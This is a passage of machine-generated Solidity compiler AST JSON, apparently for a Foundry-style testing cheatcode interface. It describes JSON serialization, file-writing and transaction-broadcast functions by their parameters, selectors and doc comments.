`serializeJson`."},"functionSelector":"201e43e2","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes32","nameLocation":"30559:16:13","parameters":{"id":13154,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13148,"mutability":"mutable","name":"objectKey","nameLocation":"30592:9:13","nodeType":"VariableDeclaration","scope":13158,"src":"30576:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13147,"name":"string","nodeType":"ElementaryTypeName","src":"30576:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13150,"mutability":"mutable","name":"valueKey","nameLocation":"30619:8:13","nodeType":"VariableDeclaration","scope":13158,"src":"30603:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13149,"name":"string","nodeType":"ElementaryTypeName","src":"30603:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13153,"mutability":"mutable","name":"values","nameLocation":"30648:6:13","nodeType":"VariableDeclaration","scope":13158,"src":"30629:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":13151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30629:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":13152,"nodeType":"ArrayTypeName","src":"30629:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"30575:80:13"},"returnParameters":{"id":13157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13156,"mutability":"mutable","name":"json","nameLocation":"30704:4:13","nodeType":"VariableDeclaration","scope":13158,"src":"30690:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13155,"name":"string","nodeType":"ElementaryTypeName","src":"30690:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30689:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13170,"nodeType":"FunctionDefinition","src":"30745:153:13","nodes":[],"documentation":{"id":13159,"nodeType":"StructuredDocumentation","src":"30716:24:13","text":"See `serializeJson`."},"functionSelector":"f21d52c7","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes","nameLocation":"30754:14:13","parameters":{"id":13166,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13161,"mutability":"mutable","name":"objectKey","nameLocation":"30785:9:13","nodeType":"VariableDeclaration","scope":13170,"src":"30769:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13160,"name":"string","nodeType":"ElementaryTypeName","src":"30769:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13163,"mutability":"mutable","name":"valueKey","nameLocation":"30812:8:13","nodeType":"VariableDeclaration","scope":13170,"src":"30796:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13162,"name":"string","nodeType":"ElementaryTypeName","src":"30796:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13165,"mutability":"mutable","name":"value","nameLocation":"30837:5:13","nodeType":"VariableDeclaration","scope":13170,"src":"30822:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13164,"name":"bytes","nodeType":"ElementaryTypeName","src":"30822:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"30768:75:13"},"returnParameters":{"id":13169,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13168,"mutability":"mutable","name":"json","nameLocation":"30892:4:13","nodeType":"VariableDeclaration","scope":13170,"src":"30878:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13167,"name":"string","nodeType":"ElementaryTypeName","src":"30878:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30877:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13183,"nodeType":"FunctionDefinition","src":"30933:156:13","nodes":[],"documentation":{"id":13171,"nodeType":"StructuredDocumentation","src":"30904:24:13","text":"See `serializeJson`."},"functionSelector":"9884b232","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes","nameLocation":"30942:14:13","parameters":{"id":13179,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13173,"mutability":"mutable","name":"objectKey","nameLocation":"30973:9:13","nodeType":"VariableDeclaration","scope":13183,"src":"30957:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13172,"name":"string","nodeType":"ElementaryTypeName","src":"30957:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13175,"mutability":"mutable","name":"valueKey","nameLocation":"31000:8:13","nodeType":"VariableDeclaration","scope":13183,"src":"30984:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13174,"name":"string","nodeType":"ElementaryTypeName","src":"30984:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13178,"mutability":"mutable","name":"values","nameLocation":"31027:6:13","nodeType":"VariableDeclaration","scope":13183,"src":"31010:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13176,"name":"bytes","nodeType":"ElementaryTypeName","src":"31010:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13177,"nodeType":"ArrayTypeName","src":"31010:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"30956:78:13"},"returnParameters":{"id":13182,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13181,"mutability":"mutable","name":"json","nameLocation":"31083:4:13","nodeType":"VariableDeclaration","scope":13183,"src":"31069:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13180,"name":"string","nodeType":"ElementaryTypeName","src":"31069:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31068:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13195,"nodeType":"FunctionDefinition","src":"31124:143:13","nodes":[],"documentation":{"id":13184,"nodeType":"StructuredDocumentation","src":"31095:24:13","text":"See `serializeJson`."},"functionSelector":"3f33db60","implemented":false,"kind":"function","modifiers":[],"name":"serializeInt","nameLocation":"31133:12:13","parameters":{"id":13191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13186,"mutability":"mutable","name":"objectKey","nameLocation":"31162:9:13","nodeType":"VariableDeclaration","scope":13195,"src":"31146:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13185,"name":"string","nodeType":"ElementaryTypeName","src":"31146:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13188,"mutability":"mutable","name":"valueKey","nameLocation":"31189:8:13","nodeType":"VariableDeclaration","scope":13195,"src":"31173:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13187,"name":"string","nodeType":"ElementaryTypeName","src":"31173:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13190,"mutability":"mutable","name":"value","nameLocation":"31206:5:13","nodeType":"VariableDeclaration","scope":13195,"src":"31199:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13189,"name":"int256","nodeType":"ElementaryTypeName","src":"31199:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"31145:67:13"},"returnParameters":{"id":13194,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13193,"mutability":"mutable","name":"json","nameLocation":"31261:4:13","nodeType":"VariableDeclaration","scope":13195,"src":"31247:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13192,"name":"string","nodeType":"ElementaryTypeName","src":"31247:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31246:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13208,"nodeType":"FunctionDefinition","src":"31302:155:13","nodes":[],"documentation":{"id":13196,"nodeType":"StructuredDocumentation","src":"31273:24:13","text":"See `serializeJson`."},"functionSelector":"7676e127","implemented":false,"kind":"function","modifiers":[],"name":"serializeInt","nameLocation":"31311:12:13","parameters":{"id":13204,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13198,"mutability":"mutable","name":"objectKey","nameLocation":"31340:9:13","nodeType":"VariableDeclaration","scope":13208,"src":"31324:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13197,"name":"string","nodeType":"ElementaryTypeName","src":"31324:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13200,"mutability":"mutable","name":"valueKey","nameLocation":"31367:8:13","nodeType":"VariableDeclaration","scope":13208,"src":"31351:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13199,"name":"string","nodeType":"ElementaryTypeName","src":"31351:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13203,"mutability":"mutable","name":"values","nameLocation":"31395:6:13","nodeType":"VariableDeclaration","scope":13208,"src":"31377:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13201,"name":"int256","nodeType":"ElementaryTypeName","src":"31377:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13202,"nodeType":"ArrayTypeName","src":"31377:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"31323:79:13"},"returnParameters":{"id":13207,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13206,"mutability":"mutable","name":"json","nameLocation":"31451:4:13","nodeType":"VariableDeclaration","scope":13208,"src":"31437:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13205,"name":"string","nodeType":"ElementaryTypeName","src":"31437:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31436:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13218,"nodeType":"FunctionDefinition","src":"31654:111:13","nodes":[],"documentation":{"id":13209,"nodeType":"StructuredDocumentation","src":"31463:186:13","text":"Serializes a key and value to a JSON object stored in-memory that can be later written to a file.\n Returns the stringified version of the specific JSON file up to that moment."},"functionSelector":"9b3358b0","implemented":false,"kind":"function","modifiers":[],"name":"serializeJson","nameLocation":"31663:13:13","parameters":{"id":13214,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13211,"mutability":"mutable","name":"objectKey","nameLocation":"31693:9:13","nodeType":"VariableDeclaration","scope":13218,"src":"31677:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13210,"name":"string","nodeType":"ElementaryTypeName","src":"31677:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13213,"mutability":"mutable","name":"value","nameLocation":"31720:5:13","nodeType":"VariableDeclaration","scope":13218,"src":"31704:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13212,"name":"string","nodeType":"ElementaryTypeName","src":"31704:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31676:50:13"},"returnParameters":{"id":13217,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13216,"mutability":"mutable","name":"json","nameLocation":"31759:4:13","nodeType":"VariableDeclaration","scope":13218,"src":"31745:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13215,"name":"string","nodeType":"ElementaryTypeName","src":"31745:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31744:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13230,"nodeType":"FunctionDefinition","src":"31800:155:13","nodes":[],"documentation":{"id":13219,"nodeType":"StructuredDocumentation","src":"31771:24:13","text":"See `serializeJson`."},"functionSelector":"88da6d35","implemented":false,"kind":"function","modifiers":[],"name":"serializeString","nameLocation":"31809:15:13","parameters":{"id":13226,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13221,"mutability":"mutable","name":"objectKey","nameLocation":"31841:9:13","nodeType":"VariableDeclaration","scope":13230,"src":"31825:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13220,"name":"string","nodeType":"ElementaryTypeName","src":"31825:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13223,"mutability":"mutable","name":"valueKey","nameLocation":"31868:8:13","nodeType":"VariableDeclaration","scope":13230,"src":"31852:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13222,"name":"string","nodeType":"ElementaryTypeName","src":"31852:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13225,"mutability":"mutable","name":"value","nameLocation":"31894:5:13","nodeType":"VariableDeclaration","scope":13230,"src":"31878:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13224,"name":"string","nodeType":"ElementaryTypeName","src":"31878:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31824:76:13"},"returnParameters":{"id":13229,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13228,"mutability":"mutable","name":"json","nameLocation":"31949:4:13","nodeType":"VariableDeclaration","scope":13230,"src":"31935:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13227,"name":"string","nodeType":"ElementaryTypeName","src":"31935:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31934:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13243,"nodeType":"FunctionDefinition","src":"31990:158:13","nodes":[],"documentation":{"id":13231,"nodeType":"StructuredDocumentation","src":"31961:24:13","text":"See `serializeJson`."},"functionSelector":"561cd6f3","implemented":false,"kind":"function","modifiers":[],"name":"serializeString","nameLocation":"31999:15:13","parameters":{"id":13239,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13233,"mutability":"mutable","name":"objectKey","nameLocation":"32031:9:13","nodeType":"VariableDeclaration","scope":13243,"src":"32015:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13232,"name":"string","nodeType":"ElementaryTypeName","src":"32015:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13235,"mutability":"mutable","name":"valueKey","nameLocation":"32058:8:13","nodeType":"VariableDeclaration","scope":13243,"src":"32042:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13234,"name":"string","nodeType":"ElementaryTypeName","src":"32042:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13238,"mutability":"mutable","name":"values","nameLocation":"32086:6:13","nodeType":"VariableDeclaration","scope":13243,"src":"32068:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13236,"name":"string","nodeType":"ElementaryTypeName","src":"32068:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13237,"nodeType":"ArrayTypeName","src":"32068:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"32014:79:13"},"returnParameters":{"id":13242,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13241,"mutability":"mutable","name":"json","nameLocation":"32142:4:13","nodeType":"VariableDeclaration","scope":13243,"src":"32128:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13240,"name":"string","nodeType":"ElementaryTypeName","src":"32128:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32127:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13255,"nodeType":"FunctionDefinition","src":"32183:145:13","nodes":[],"documentation":{"id":13244,"nodeType":"StructuredDocumentation","src":"32154:24:13","text":"See `serializeJson`."},"functionSelector":"129e9002","implemented":false,"kind":"function","modifiers":[],"name":"serializeUint","nameLocation":"32192:13:13","parameters":{"id":13251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13246,"mutability":"mutable","name":"objectKey","nameLocation":"32222:9:13","nodeType":"VariableDeclaration","scope":13255,"src":"32206:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13245,"name":"string","nodeType":"ElementaryTypeName","src":"32206:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13248,"mutability":"mutable","name":"valueKey","nameLocation":"32249:8:13","nodeType":"VariableDeclaration","scope":13255,"src":"32233:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13247,"name":"string","nodeType":"ElementaryTypeName","src":"32233:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13250,"mutability":"mutable","name":"value","nameLocation":"32267:5:13","nodeType":"VariableDeclaration","scope":13255,"src":"32259:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13249,"name":"uint256","nodeType":"ElementaryTypeName","src":"32259:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"32205:68:13"},"returnParameters":{"id":13254,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13253,"mutability":"mutable","name":"json","nameLocation":"32322:4:13","nodeType":"VariableDeclaration","scope":13255,"src":"32308:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13252,"name":"string","nodeType":"ElementaryTypeName","src":"32308:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32307:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13268,"nodeType":"FunctionDefinition","src":"32363:157:13","nodes":[],"documentation":{"id":13256,"nodeType":"StructuredDocumentation","src":"32334:24:13","text":"See `serializeJson`."},"functionSelector":"fee9a469","implemented":false,"kind":"function","modifiers":[],"name":"serializeUint","nameLocation":"32372:13:13","parameters":{"id":13264,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13258,"mutability":"mutable","name":"objectKey","nameLocation":"32402:9:13","nodeType":"VariableDeclaration","scope":13268,"src":"32386:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13257,"name":"string","nodeType":"ElementaryTypeName","src":"32386:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13260,"mutability":"mutable","name":"valueKey","nameLocation":"32429:8:13","nodeType":"VariableDeclaration","scope":13268,"src":"32413:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13259,"name":"string","nodeType":"ElementaryTypeName","src":"32413:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13263,"mutability":"mutable","name":"values","nameLocation":"32458:6:13","nodeType":"VariableDeclaration","scope":13268,"src":"32439:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13261,"name":"uint256","nodeType":"ElementaryTypeName","src":"32439:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13262,"nodeType":"ArrayTypeName","src":"32439:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"32385:80:13"},"returnParameters":{"id":13267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13266,"mutability":"mutable","name":"json","nameLocation":"32514:4:13","nodeType":"VariableDeclaration","scope":13268,"src":"32500:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13265,"name":"string","nodeType":"ElementaryTypeName","src":"32500:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32499:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13276,"nodeType":"FunctionDefinition","src":"32620:72:13","nodes":[],"documentation":{"id":13269,"nodeType":"StructuredDocumentation","src":"32526:89:13","text":"Write a serialized JSON object to a file. If the file exists, it will be overwritten."},"functionSelector":"e23cd19f","implemented":false,"kind":"function","modifiers":[],"name":"writeJson","nameLocation":"32629:9:13","parameters":{"id":13274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13271,"mutability":"mutable","name":"json","nameLocation":"32655:4:13","nodeType":"VariableDeclaration","scope":13276,"src":"32639:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13270,"name":"string","nodeType":"ElementaryTypeName","src":"32639:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13273,"mutability":"mutable","name":"path","nameLocation":"32677:4:13","nodeType":"VariableDeclaration","scope":13276,"src":"32661:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13272,"name":"string","nodeType":"ElementaryTypeName","src":"32661:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32638:44:13"},"returnParameters":{"id":13275,"nodeType":"ParameterList","parameters":[],"src":"32691:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13286,"nodeType":"FunctionDefinition","src":"32918:98:13","nodes":[],"documentation":{"id":13277,"nodeType":"StructuredDocumentation","src":"32698:215:13","text":"Write a serialized JSON object to an **existing** JSON file, replacing a value with key = \n This is useful to replace a specific value of a JSON file, without having to parse the entire thing."},"functionSelector":"35d6ad46","implemented":false,"kind":"function","modifiers":[],"name":"writeJson","nameLocation":"32927:9:13","parameters":{"id":13284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13279,"mutability":"mutable","name":"json","nameLocation":"32953:4:13","nodeType":"VariableDeclaration","scope":13286,"src":"32937:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13278,"name":"string","nodeType":"ElementaryTypeName","src":"32937:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13281,"mutability":"mutable","name":"path","nameLocation":"32975:4:13","nodeType":"VariableDeclaration","scope":13286,"src":"32959:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13280,"name":"string","nodeType":"ElementaryTypeName","src":"32959:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13283,"mutability":"mutable","name":"valueKey","nameLocation":"32997:8:13","nodeType":"VariableDeclaration","scope":13286,"src":"32981:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13282,"name":"string","nodeType":"ElementaryTypeName","src":"32981:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32936:70:13"},"returnParameters":{"id":13285,"nodeType":"ParameterList","parameters":[],"src":"33015:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13290,"nodeType":"FunctionDefinition","src":"33230:30:13","nodes":[],"documentation":{"id":13287,"nodeType":"StructuredDocumentation","src":"33058:167:13","text":"Using the address that calls the test contract, has the next call (at this call depth only)\n create a transaction that can later be signed and sent onchain."},"functionSelector":"afc98040","implemented":false,"kind":"function","modifiers":[],"name":"broadcast","nameLocation":"33239:9:13","parameters":{"id":13288,"nodeType":"ParameterList","parameters":[],"src":"33248:2:13"},"returnParameters":{"id":13289,"nodeType":"ParameterList","parameters":[],"src":"33259:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13296,"nodeType":"FunctionDefinition","src":"33430:44:13","nodes":[],"documentation":{"id":13291,"nodeType":"StructuredDocumentation","src":"33266:159:13","text":"Has the next call (at this call depth only) create a transaction with the address provided\n as the sender that can later be signed and sent onchain."},"functionSelector":"e6962cdb","implemented":false,"kind":"function","modifiers":[],"name":"broadcast","nameLocation":"33439:9:13","parameters":{"id":13294,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13293,"mutability":"mutable","name":"signer","nameLocation":"33457:6:13","nodeType":"VariableDeclaration","scope":13296,"src":"33449:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13292,"name":"address","nodeType":"ElementaryTypeName","src":"33449:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"33448:16:13"},"returnParameters":{"id":13295,"nodeType":"ParameterList","parameters":[],"src":"33473:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13302,"nodeType":"FunctionDefinition","src":"33648:48:13","nodes":[],"documentation":{"id":13297,"nodeType":"StructuredDocumentation","src":"33480:163:13","text":"Has the next call (at this call depth only) create a transaction with the private key\n provided as the sender that can later be signed and sent 